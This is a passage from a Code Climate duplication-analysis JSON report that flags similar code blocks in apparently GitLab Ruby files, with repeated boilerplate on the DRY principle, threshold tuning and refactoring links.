Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"5ed54d7e9dec3ef5264c44b21ab42f3b","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/models/concerns/relative_positioning.rb","lines":{"begin":63,"end":75}},"remediation_points":370000,"other_locations":[{"path":"app/models/concerns/relative_positioning.rb","lines":{"begin":78,"end":90}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 36**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"6a6be26fc5b134ababae60c5b17185e7","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/models/concerns/relative_positioning.rb","lines":{"begin":78,"end":90}},"remediation_points":370000,"other_locations":[{"path":"app/models/concerns/relative_positioning.rb","lines":{"begin":63,"end":75}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 36**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"6a6be26fc5b134ababae60c5b17185e7","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/users.rb","lines":{"begin":241,"end":252}},"remediation_points":370000,"other_locations":[{"path":"lib/api/users.rb","lines":{"begin":305,"end":316}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 36**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"b03582b4029701d34f64ca56f039ff3c","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/users.rb","lines":{"begin":305,"end":316}},"remediation_points":370000,"other_locations":[{"path":"lib/api/users.rb","lines":{"begin":241,"end":252}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 36**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"b03582b4029701d34f64ca56f039ff3c","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/database/migration_helpers.rb","lines":{"begin":615,"end":622}},"remediation_points":370000,"other_locations":[{"path":"lib/gitlab/database/migration_helpers.rb","lines":{"begin":706,"end":713}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 36**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"6613d45047514c566568cdc6b20a1433","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/database/migration_helpers.rb","lines":{"begin":706,"end":713}},"remediation_points":370000,"other_locations":[{"path":"lib/gitlab/database/migration_helpers.rb","lines":{"begin":615,"end":622}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 36**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"6613d45047514c566568cdc6b20a1433","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/banzai/filter/user_reference_filter.rb","lines":{"begin":34,"end":47}},"remediation_points":330000,"other_locations":[{"path":"lib/banzai/filter/project_reference_filter.rb","lines":{"begin":30,"end":43}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 34**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"e03c415d22f94144c8a11a51bf75449a","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/banzai/filter/project_reference_filter.rb","lines":{"begin":30,"end":43}},"remediation_points":330000,"other_locations":[{"path":"lib/banzai/filter/user_reference_filter.rb","lines":{"begin":34,"end":47}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 34**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"8a3a69b8619d932aa827e537f3525e47","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/cycle_analytics/code_stage.rb","lines":{"begin":2,"end":25}},"remediation_points":330000,"other_locations":[{"path":"lib/gitlab/cycle_analytics/review_stage.rb","lines":{"begin":2,"end":25}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 34**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"9c27f17bb5883c88a2dcf096a1e3eb10","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/cycle_analytics/review_stage.rb","lines":{"begin":2,"end":25}},"remediation_points":330000,"other_locations":[{"path":"lib/gitlab/cycle_analytics/code_stage.rb","lines":{"begin":2,"end":25}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 34**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"1a85a78111fd009c906af5e3e2e5c1b3","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/models/project_services/teamcity_service.rb","lines":{"begin":52,"end":61}},"remediation_points":310000,"other_locations":[{"path":"app/models/project_services/bamboo_service.rb","lines":{"begin":49,"end":58}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 33**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"043f75067c16ff3e5d772bc2d1ae6742","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/models/project_services/bamboo_service.rb","lines":{"begin":49,"end":58}},"remediation_points":310000,"other_locations":[{"path":"app/models/project_services/teamcity_service.rb","lines":{"begin":52,"end":61}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 33**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"3bc437123bd781d63ac2e5f1e2ee6eb3","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/background_migration/set_confidential_note_events_on_webhooks.rb","lines":{"begin":5,"end":22}},"remediation_points":310000,"other_locations":[{"path":"lib/gitlab/background_migration/set_confidential_note_events_on_services.rb","lines":{"begin":5,"end":22}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 33**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, 